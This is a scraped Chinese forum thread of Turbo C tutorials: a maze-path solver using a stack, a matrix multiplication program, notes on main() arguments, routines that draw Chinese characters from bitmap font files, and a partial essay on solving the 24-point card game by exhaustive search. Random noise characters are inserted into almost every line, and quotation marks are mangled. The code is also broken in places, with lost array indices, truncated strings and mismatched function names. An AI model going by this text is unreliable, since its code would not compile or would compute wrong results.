maze[seat.x][seat.y].mark=-1;( j: H( ]* R; p( e! J. V  r, B
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
1 V; J9 U- i' o& ^& n} /* MarkPrint */
+ i( D# G+ f1 o# |void FootPrint(PosType curpos)
9 M$ c5 D$ ~( l4 c3 {/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
" A' V( r/ V6 N+ j# f/ Y{
# @4 p  m9 c$ m8 m7 ?/ R  `+ bmaze[curpos.x][curpos.y].foot=1;+ c$ t, @" a7 D
} /* FootPrint */
2 B2 c1 n2 X3 vPosType NextPos(PosType seat,int di)
  B0 G& i( U# ~{
" _( p6 `# _! O5 ]# a  }switch(di). [5 P" @! W1 h3 c9 }& B# S, r
{7 p2 |7 [9 u0 v% b8 H4 y9 o' U9 P1 a3 Z
case 1: seat.y++; return seat; /* Eastward */
9 F8 t! d9 q) U$ F  ncase 2: seat.x++; return seat; /* Southward */
+ O3 d8 Z+ U! M" o( O5 [case 3: seat.y--; return seat; /* Westward */& `5 Q3 _! D' y$ a, @! Z2 r3 h# X
case 4: seat.x--; return seat; /* Northward */. G: m4 V6 N# I$ t
default: seat.x=0; seat.y=0; return seat;
! J/ `' {2 a& W' C}
  T2 y* A3 z3 d+ d} /* NextPos */
0 B- N+ s: o% P8 x+ I7 a$ }& ^) j% Y- k, \, c& T% f/ z+ S% F
/* The key to the program. */
# {1 }# [( o3 i# T  Y/* Pre: The maze array &amp; the startplace &amp; the endplace.
2 e6 a! |/ T/ K% W; ~/ PPost: Find the one traverse of the maze and perform the mazepath.
/ s+ G. Y- l  F, ZUses: The ADT stack class." s! H: P! {* ~& N( s
*/
: @+ k: r& f- E0 f4 EStatus MazePath(PosType start,PosType end)
5 I/ F1 E0 d! f8 x9 G& V{
( O4 B3 v" p. f4 O" NPosType curpos;9 \7 T5 r; ?% I" f8 k
int curstep;
) K9 s0 S8 k5 x6 a8 \SElemType e;
. V' F- `7 n1 e! F8 AStack *s,stack;
4 o9 U0 o6 G' Q, f1 C6 @stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));2 [# t  S. f- u4 L; }  ^
if(!stack.base) Error("Overflow");
0 E' r" B- @: h7 H" C1 |stack.top=stack.base;& r* o5 B; {; ?- t) k# C
stack.stacksize=STACK_INIT_SIZE;
5 `# {& `7 x0 X6 r; zs=&amp;stack;  Z5 C: T" g. F" }' K! A/ z+ G
curpos=start;
( g% }8 `, L) q2 a8 F9 wcurstep=1;( o( `3 X# D' Z* _( q- ?
do
6 o  J# x& r7 D2 o{* b1 Z: r( f) D: N8 N3 O  r
if(Pass(curpos))
! t$ v! s" N' r7 \{7 G3 C( W- J% h
FootPrint(curpos);" ?: S7 n5 A% }  F, l3 `* t  G
e.ord=curstep; e.seat=curpos; e.di=1;
' G8 p* v" ]) m" i3 w* _* X! }, f5 hgotoxy((curpos.y+1)*2,curpos.x+2);; P  N. ^& n. X7 f: s
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');, R: e( E0 X# r( C
delay(8000); /* pospone time. */
$ F3 A1 h9 U8 S5 e/ LPush(s,e);- M) k/ K2 `' }! t! i
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */. o( W' Q1 ?. e& K* C* B- U
{( p3 s* t7 |7 F2 W# V1 e$ @8 q$ @6 f
DestroyStack(s);
. E; [- ?# ^; b9 vreturn TRUE;
1 M% I) ^% ^3 r}6 P% n% O2 E$ |) `6 a
curpos=NextPos(curpos,1); /* Try next position. */
- W/ W% x! i3 A5 W  T% i, \5 l7 Ycurstep++;4 M+ ?! t/ C8 u- A0 k4 Y5 Z
}
9 J# X; A' i' {; X9 _" Uelse
9 r/ {3 E7 l/ f$ ^! A7 B{
" C; ]! l2 y7 O. t0 I4 `7 pif(!StackEmpty(s))( Z5 F& i4 Q& d( v6 s% l
{
. N8 A! v" B8 C( Q" \e=Pop(s,e); /* Removed e from s. */% w: r0 n3 L8 Z# M- Q- U
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked# q: x, z1 d8 f) F8 [
and s is not empty. */
7 L+ X( D) z% @# z; r. Z{- _2 n4 Z  U' c+ J& w
MarkPrint(e.seat);( v6 N2 Z: l9 y" f: u/ W
gotoxy((e.seat.y+1)*2,e.seat.x+2);
7 B' ]( }; s3 T  y8 d0 }" o/ Oputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
  N! n& ~4 g+ r( f6 }+ g* o% fdelay(8000); /* Pospone time. */
- @. S  [9 ^$ c  H* ugotoxy((e.seat.y+1)*2,e.seat.x+2);
) k2 r# {# [$ E% r; kputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
  ^4 |6 M5 J9 [" z9 xe=Pop(s,e); /* Remove e from s. */% e7 V+ G  V5 ~# Y6 `$ z
curstep--;) K6 b7 P8 [9 P
}4 _2 \$ z+ c' m: U7 j
if(e.di&lt;4) /* The current position hasnot been checked. */! v) ]: U# x3 @8 G! t9 L! n6 a
{
: f$ g; A0 I# m8 G3 [2 N$ X2 Me.di++;
! \& y  G/ P' ~" L+ d& K, \, WPush(s,e); /* Insert e into s. */
! [! v, U  J$ z( G8 u: ycurpos=NextPos(e.seat,e.di); /* Try next position. */
4 r9 s9 a/ P4 q1 t}$ S3 I# a& ]4 i* r% A$ q
}
8 @% F4 g8 G! V$ p4 G}3 @2 s  m) v1 T. |/ W
}
$ b# B, ]) [: l% p+ hwhile(!StackEmpty(s));% W3 {4 c$ L8 e2 n" w
DestroyStack(s);
: R/ y: Z) c, x% W1 Ureturn FALSE;9 ?) q* v3 Y! r
} /* MazePath */
: p$ H; m7 m3 L2 O* [1 Lvoid main(). P1 @! M% Z3 K/ s7 f0 h+ b
{
* ^# Z: k$ j! d2 Y* O2 `/ cPosType start,end;, v6 l: B8 V$ n7 }, g# U
CreatMaze();
7 F$ D$ T! g1 ]' R' K' o6 zstart.x=StartPlace.y;% q1 b6 n2 z7 i/ n/ h
start.y=StartPlace.x;! N& N" \3 N6 g; k6 F5 f: b$ @
end.x=EndPlace.y;! k1 @0 }: r. r
end.y=EndPlace.x;: B* z, C" |# G: v4 h
if(MazePath(start,end))
4 V5 X! T! X' \1 {3 ?$ c{, s6 @! n; E4 V1 e
gotoxy(2,22);
" M. U" ^* C: E9 o, g7 O5 oprintf("ath found\n");% ^6 e* n8 G2 {9 ?& ^; }# W; b$ W
}
$ N: l) f0 u  L! d$ Zelse1 F, q  {8 ?4 n; o! B
{; w( q/ z1 }5 N+ `+ k$ }
gotoxy(2,22);2 i( H; T+ x) c/ }
printf("ath not found\n");. @1 N5 u3 P3 b2 ?/ R6 `& v9 k& p
}
9 ]  i  f9 n+ M; P7 Dgetch();2 E3 j! F" q4 D2 U1 h
clrscr();4 Y1 R) U6 a) J
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
5 W; K2 y& l5 }#include&lt;stdio.h&gt;6 L  _& r% s0 k- {: o  F( g
#include&lt;conio.h&gt;
! W' o6 i7 C5 f. V- ?% j; w& k3 {#define X 3
2 g) V9 k$ D2 {- y! ^( v#define Y 3</P><>int a[X][Y];
5 U0 w- r; T+ H! W% J# _7 ~" Jint b[X][Y];& D  d6 N6 C/ O4 q' `
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);: S+ T' q5 J, p$ @" O( v" W3 }
main()
5 F. k- g$ d, k{2 y0 `# }& r) m! k1 n
int i,j,temp;
, _2 I1 @; {0 x! @) H9 Yclrscr();6 W3 M/ b5 ^& N; R$ n, [4 M
printf("lease input int matrix b[%d][%d]\n",X,Y);
8 a) n& q& m8 Z& Z7 h' [+ t, o; X* Q5 mfor(i=0;i&lt;Y;i++)  @% H# D' r( t1 K
for(j=0;j&lt;Y;j++){
6 l# W  _( H+ ^3 e6 l- zscanf("%d",&amp;temp);
, a7 d' n# W7 b2 q8 Yb[j]=temp;
) M2 K( r5 I: A: z& s( e}
( f/ @, A- {- i. ?) nprintf("lease input int matrix c[%d][%d]\n",X,Y);4 C2 `, u: D! S* K1 l( P# s  i$ w7 N
for(i=0;i&lt;X;i++)
) ?$ R0 L! G# e5 yfor(j=0;j&lt;Y;j++){: p* A- f3 T5 ^! |
scanf("%d",&amp;temp);& Z+ B' @8 j/ s2 q
c[j]=temp;
, {' M5 m3 n3 \$ c0 S5 |1 @1 h}
- D' z5 a, E1 u  ^# r8 Y5 Z0 nmatrix(b,c);6 V9 S6 K# \8 z0 E' F' Y
printf("Now print resource matrix b[%d][%d]=",X,Y);
! f  n& `+ O: L! \: Y' |/ s" A. lfor(i=0;i&lt;X;i++){
# f# f- O0 m9 Q( j, z: N( _) aprintf("\n");$ l" [/ f7 g5 e# K2 S/ _1 _
for(j=0;j&lt;Y;j++)- E( Q. J! u) F- W
printf("%d ",b[j]);( W! X) o/ a. w  V5 U
}4 t8 ]$ z- x- L5 D
printf("\n");5 J9 V5 m8 ~, c: k0 L9 w8 w
printf("Now print resource matrix c[%d][%d]=",X,Y);* g/ f8 m1 n5 ~; g
for(i=0;i&lt;X;i++){! S7 z. U- k. [7 Y/ J8 c/ U1 Y
printf("\n");, k/ t7 T% }5 X0 I& H" z- p6 ?
for(j=0;j&lt;Y;j++)9 k& Q; A" N( }- c% W# P' n' ~1 A
printf("%d ",c[j]);
1 A" j+ y0 \1 z. {% ?}
. C$ I+ Z% p9 F' F6 mprintf("\n");5 q) I  c- g4 q# W; f1 E
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
& R1 c! v. U  H- m# W+ A0 jfor(i=0;i&lt;X;i++){
  x1 {# b3 \5 G# Jprintf("\n");( r8 m( p2 A# ~4 O
for(j=0;j&lt;Y;j++)
( |* V7 F( o: a& N& _' \. v3 l- ?printf("%d ",a[j]);
- [1 _; d- \; `) F. V}
" h. Q" M/ V) y* M% g8 a* M+ Cgetch();+ I% n3 `/ j! y2 |/ r% m  l- [
return 0;7 H( o  T4 Z7 `7 b
}" G6 \8 G: t5 l% b! i
/********************************************************************/6 O* w9 G2 E1 |5 ~4 h
void matrix(int b[][X],int c[][Y])7 ~* f( W  V! B  p- y" f$ ^, S
{* U. l# s7 Q8 Y5 H. v
int i,j,k,temp;9 ~/ w5 v0 O( e$ W
for(i=0;i&lt;X;i++): V5 m1 |" A4 q1 w* e
for(j=0;j&lt;Y;j++){
+ @9 k, f/ v5 n) ~. ~2 Afor(k=0;k&lt;Y;k++)1 W) n, c3 P) b1 ~; U
a[j]+=b[k]*c[k][j];; b8 U1 {0 e( U1 |
}2 w# G  f5 x1 D5 p! N
}</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
7 O( N& ]9 V  p6 m9 J  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。: |' w# |$ l# L& ]* G
1. main() 参数
& k/ m7 H2 Y; [& M! y6 m2 T; Y  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
. w% u. |' H. H! e6 @/ N  * argc: 整数,为传给main()的命令行参数个数。
, f, A$ c- B" X( w8 y) d  * argv: 字符串数组。6 w' S' }" E" I" X# U2 k. S( Y
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
% I: Y/ h- L( X# X- \; m对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
2 s( r5 p7 q' S% }6 }4 Y" `...
; x6 M9 S. @% q" o9 I3 gargv[argc]为NULL。6 u+ K: p, h, }& ^5 O2 O* P
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
: p$ w2 a8 `$ N0 a- i6 Z值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
5 [" Z9 c! R$ l' r( X图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}* L8 ^$ w5 G- Y( n$ H
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
9 W* H1 V; ^4 X& s5 E  汉字显示的第一步是打开字库文件。
: f" M/ V* h$ W. E& q) g4 G" M, r  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。9 v6 l# V" p( y2 C) Y' Z# i( ?
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)' A# n6 z8 o2 s" l
{
; r5 i3 H" y, ?7 eunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/% J. u2 Z$ D& |6 ^
int rec,i1,i2,i3; /*z:space between;*/
! {( w. `0 I/ G, s# d7 t6 g, Ulong l; /*color:txt color*/
+ d' B- D4 s. ?! J8 q& I- }char by[32]; /*p:HZ str*/
0 l! a" F1 X/ k1 r9 Nif( handle&lt;0 ) return -1; while((i=*p++)!=0){
5 Q0 n+ ~$ c' M4 b  @* dif(i&gt;0xa1)
7 p8 i3 a9 Y, e/ z) uif(f==0){5 ^7 L" u3 _5 O( a* o
c1=(i-0xa1)&amp;0x07f;4 n4 w/ _' I" l$ V
f=1;" J# S$ H9 H4 H+ D
}
' z+ ^! D. l" L- t/ [; c" ^( S/ g/ Velse{9 T4 j7 D% I  i! C
c2=(i-0xa1)&amp;0x07f;! S" n) x8 Y! G- m1 k. X& j
f=0;/ z9 f5 l+ I  p
rec=c1*94+c2;6 }. r1 l' {+ Y  n$ H4 W
l=rec*32L;
; A4 m1 [% i% X! jlseek(handle,l,SEEK_SET);
; e* D3 @. {  O8 V, Jread(handle,by,32);
! Y: J6 }3 U% z+ `for(i1=0;i1&lt;16;i1++)
8 X: z/ s' L9 Z: Q# ufor(i2=0;i2&lt;2;i2++)
8 c$ _9 q( j( d* Afor(i3=0;i3&lt;8;i3++)
. N8 s; k, G) A# L) I3 F6 wif(GetBit(by[i1*2+i2],7-i3))# J! \6 [- H2 ]3 o+ Z' ?4 v6 a
putpixel(x+i2*8+i3,y+i1,color);
. _2 |2 E& i8 R( {. w! ix=x+z+16;- S; E  H% y* ~" N! B
}
7 c. ]7 w6 f  U5 b}* [5 p" x; Z3 `8 W5 \
return(x);: @$ c2 m+ ~- P8 h0 I* p
}3 w3 |. T( Q3 b: w& t0 o) \
函数GetBit定义如下:5 _# t7 [' o+ }; y2 y3 q
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
0 e% w" H' x8 \, {int GetBit(unsigned char c,int n)$ K$ ~1 Q3 A# b! a
{
+ X/ @8 |" e! J+ K$ h" [1 areturn((c&gt;&gt;n)&amp;1);
  V2 B+ I/ V$ e; z7 z! s" o8 v}: ?5 y. E# |  E6 v' r
汉字显示结束,应该关闭字库文件。9 x4 p' U' W4 t; g
void CloseHz(void)
# s4 t2 m0 I$ h; w5 d# O& f{9 ~4 x$ I' h. a" t& \6 w( _! p: r
close( handle );
) T) K  q  `2 o9 l5 k% F}' J/ f1 G5 ^" n- {
#include "\Caic\Include\Hz.h"" V( q( [6 {0 ]  \; W* v; [. d
#include <GRAPHICS.H>
7 `7 H6 O4 i1 |9 k# b2 g  t#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";) \/ ^' d$ x6 G
const char* HzStr = "苦丁香C语言辅助学习软件";( T* V& Z1 ]2 g' b
void main(){. K* ^3 p* X4 F2 H
int gr=DETECT,gm;
1 G' Q6 ^9 V1 Y: y! P7 n: Einitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");0 a' A% ?' I3 r) P7 w: l
OpenHz( Hz16Path );& `1 ]3 Y5 x* W1 p9 j* f6 s/ a8 U
Wrt16Hz(20,20,4,RED,HzStr);
2 m! t9 H) j, O$ B0 ~2 M% oCloseHz();& r8 M: l/ u- D$ ^, d
getch();- u% q( J' n) j0 N1 g* S
closegraph();
, z& n5 K# E, Q- w2 s}显示24点阵及放大汉字7 t' _7 Q! y4 r% c% }
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。" g& k4 ]. f. S/ O/ h" w) Z$ ]& U
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
( y9 F% Y2 @* Y9 E; Mint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)3 g/ t: k$ X9 N
{
3 B: g/ v9 _3 w: ~, punsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
% \# i% t7 a& s5 l9 u. Aint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/- f( L0 E, u# N8 A
long l; /*color:汉字颜色*/
2 t! y& A7 N, w% O' p4 x) zchar by[72]; /*m: x 方向的放大倍数*/
1 Y6 X) r1 U+ Q/*n: y 方向的放大倍数*/
% d$ G7 l* P/ G; _7 h; g. y. Jif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){$ C  R( Y6 t2 I" ]9 t) M9 l
if(i&gt;0xa1)5 D! l5 x/ k2 ^9 y7 k% C$ x
if(f==0){
4 |( M2 j, q/ t; T9 yc1=(i-0xa1)&amp;0x7f;
& t0 v6 @- I" R) H  }/ b0 Hf=1;
$ M) i" [$ F; F' N; i  [}
, w) _# t: d1 X8 ]8 J3 |3 welse{
+ h* m' o! }% H/ ~6 p/ \c2=(i-0xa1)&amp;0x7f;2 ?* ?# K$ m4 W- P4 [2 B
f=0;! Z* g- }. Z5 }( K' d
rec=(c1-15)*94+c2;1 o) k* Z. u- I) v
l=rec*72L;5 d% B3 r7 ?% o; o( `& o1 i, y
lseek(handle,l,SEEK_SET);% M5 t- ]$ ], m- |( q) d; ^- o  z- r# ?
read(handle,by,72);7 G4 _0 x0 t6 ^6 C+ ]: p! G
for(i1=0;i1&lt;24*m;i1=i1+m)$ S* U$ @: y. `
for(i4=0;i4<M;I4++)
5 Y% d/ P0 E) {& C+ l) ?  ^ for(i2=0;i2&lt;=2;i2++)  _" H+ B* e- d; ?5 L$ @# h
for(i3=0;i3&lt;8;i3++)* d9 J" M2 X7 G: Q3 b7 R
if(GetBit(by[i1/m*3+i2],7-i3))
0 B6 b1 w* f/ N/ vfor(i5=0;i5<N;I5++)
( M6 \* Y+ y' q8 d5 a$ W putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
% \$ b% A$ z3 T6 [; Xx=x+24*m+z;1 l& `' {: P3 B( r2 U+ J
}& R9 g/ B% h9 X7 w& F2 T
}% C2 w! B+ z9 j8 p) e) h2 s
return(x);
8 r5 V, b1 R3 d+ S6 I3 t} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
  W  c9 ~( P2 ?' l0 W#include <GRAPHICS.H>
# g4 ~$ l8 X# I( v#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
% u9 w8 V, `$ l% i5 T7 _const char* HzStr = "苦丁香C语言辅助学习软件";
9 m, p& x* N. o! \& Yvoid main(){
# i5 Z* \$ _$ K" a! E3 zint gr=DETECT,gm;
7 A0 K' ?& |6 i# o0 Ainitgraph(&amp;gr,gm,"\\Caic\\Bgi");: E/ Q+ l8 W$ z4 D( t. ]
OpenHz( Hz24Path );( Y$ l* S0 o" i: b8 Z. {
Wrt24Hz(20,20, /*先是在(x,y)*/
/ e3 W! e: L  K* S+ N1 \% X) Q" ~; c4, /*汉字间的空格为4*/
5 j4 o! t  L4 g4 g, m- `RED, /*用红色显示*/
1 V" _- S% B, I2, /*x 方向放大2倍*/% a* c+ l  D0 M6 X. _8 i* s3 Q
4, /*y 方向放大4倍*/- b- `) |! g3 g2 r' p  T5 x
HzStr); /*显示字符串*/0 x, {5 F  o" x0 c8 E
CloseHz();( [" V9 N6 f3 j# j
getch();9 T7 E" j9 G5 K& y. P" P
closegraph();" @7 j7 A/ |8 f
} 9 t2 Q; I/ D* X9 K4 s+ Y7 r
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
& i9 L8 ^9 e4 w+ |4 ~& w$ J  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。6 [. w; [: H9 m( K; \8 [- R
" E" b, l& J0 d8 [* U
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 5 A6 I+ _, i; H3 n5 l4 f& G* _
首先穷举的可行性问题。我把表达式如下分成三类——6 l( g0 t5 |9 c2 D
<FONT color=#ff0000>1、 无括号的简单表达式。
* Z! ?# {. P8 q, q2、 有一个括号的简单表达式。' G# F$ Y% H- w" Q  P
3、 有两个括号的较复4、 杂表达式。0 H9 f( f1 h+ A# d" R6 \
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
: D  X/ j0 @. o<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
' P$ ~) }- A" N6 {" W- X+ e/* c[] 存放四张牌的数组 */
- I- w% L5 \- @9 ?  ~/* k[] c[]种四张牌的代号,其中k[I]=I+1。
! R$ P$ f4 S1 |5 {5 @; P用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */9 r4 V3 m2 e2 u' H  l
/* kans[] 暂存生成的排列组合 */0 \! M" {. h- I3 a
/* j 嵌套循环的次数 */5 ]; r& T$ ]+ u: [! M
int fans(c,k,ans,kans,j)) l7 G: r/ ?; N' n: o3 r
int j,k[],c[];char ans[],kans[];
2 g7 o3 E2 c1 g" L/ d; _: P1 E* Z  {{ int i,p,q,r,h,flag,s[4],t[4][4];
# c; z6 u) b3 m% i; b3 a- i+ Hfor(p=0,q=0;p&lt;4;p++)
) y0 H* h2 ^" l6 y0 i{ for(r=0,flag=0;r<J;R++)
% ]6 O! |2 T! ?) }2 D% [( R if(k[p]!=kans[r]) flag++;2 D1 b& f4 w/ _
if(flag==j) t[j][q++]=k[p];
2 b/ P- q8 V. O% U3 Z) v. G* Z}) `  c" Z5 p1 R* k+ ~
for(s[j]=0;s[j]&lt;4-j;s[j]++)! X$ ^* P' R! Q- c- l) E2 x" r, g
{ kans[j]=t[j][s[j]];8 g2 S: I7 V( K/ W- C
if(j==3) { for(h=0;h&lt;4;h++)
# V1 R3 B" i. Hans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表. [0 G6 Z/ ~% n
达式中的位置 */
5 H( s3 E/ y2 m7 I" r% o+ Z* rfor(h=0;h&lt;3;h++)
: x$ A) H1 \, q0 h, Xsymbol(ans,h); /* 在表达式中添加运算符号 */+ B! F' }, }5 F1 K; g
}2 A0 l, K# S& m% F1 q& v
else { j++;. v$ \" R2 ~/ {) F, q- j1 i
fans(c,k,ans,kans,j);5 w7 I4 u& L1 H9 Z4 W! d$ c5 B
j--;) r) F4 l. n  j% G. \" B
}
2 C% X7 m) V& e}/ u) |) S* l/ v' r' v3 c8 ~
}</FONT>
1 x2 O1 u# `& k) p; ^/ f1 f* I- ~6 Q# |, d% L5 ^" p! s6 ^
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:! f6 w; c8 g$ D3 W
9 D* Q+ f5 g+ z! H
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/# M! n* y) L  K  p+ K' V$ K) w
int sans(ans,sy,j,h)* ]' Q3 e$ s7 U# Y7 o& W; O
char ans[],sy[];int j,h;# w" p6 W$ N. j: a3 Y/ y
{ int i,p,k[3],m,n; char ktans[20];
( c& a' b$ @5 A3 J" ^5 ffor(k[j]=0;k[j]&lt;4;k[j]++)
* [1 t. k0 m0 d1 P& S" b* P! A{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
0 }* U8 O  r5 N+ p这里的三个运算符号分别存放在1、3、5位*/
' h) p1 k1 d1 Q( F- E# X4 iif(j==2)
: u" x# _, U, M- a: U2 @{ ans[5]=sy[k[j]];5 u2 p, \3 V% A1 w$ d* j* K
/* 此处根据不同的表达式形式再进行相应的处理 */
3 @" [" u# m3 N4 m8 o% @0 h! c}
% T, u* D' g$ h: E" Eelse { j++; sans(ans,sy,j--,h); }% o% n. X2 S4 r' D
}# a& `9 K8 l  G( H9 P' @' j
}- S- T$ `; N( e% @' U  y
1 Y3 c& r+ \4 S+ V8 ~9 g/ z1 S) L
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
+ X' h( o' F  W( @+ Z0 m- ]for(m=0;m&lt;=4;m+=2)
# ?1 q/ d; j9 Z  I/ Pfor(n=m+4;n&lt;=8;n+=2)" [' O! i7 J0 l- n2 I
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
; c9 v) p9 P+ j- m3 v
- V" u4 N2 [% Q8 @2 t& E4 l1 |  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。4 p( q/ d# O; }$ d; Q8 x/ }
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。4 D+ B" K2 A0 n& o/ h) q% g
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
/ x" ^: w- N8 L- I
* P0 _) s5 T0 ?) d- v1 s4 ^  P  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。/ M4 ?3 H; B& e7 k8 k
- k) N' u5 U5 N* Q% Z3 m8 D
  那么作为栈的著名应用,表达式的计算可以有两种方法。
( ^/ S: N1 a0 K
0 X0 C3 R2 A1 V3 _  _: l) R) A1 o  <FONT color=#ff0000>第一种方法——</FONT>. {; g8 n% \* U8 @& H
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。. |$ E$ ^) a! W1 \/ ~
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:+ u; U% s% C4 _# ]  T
1、 若W为操作数: ~* Z) I7 _7 _1 w* [! f' g
2、 则将W压入操作数栈OVS
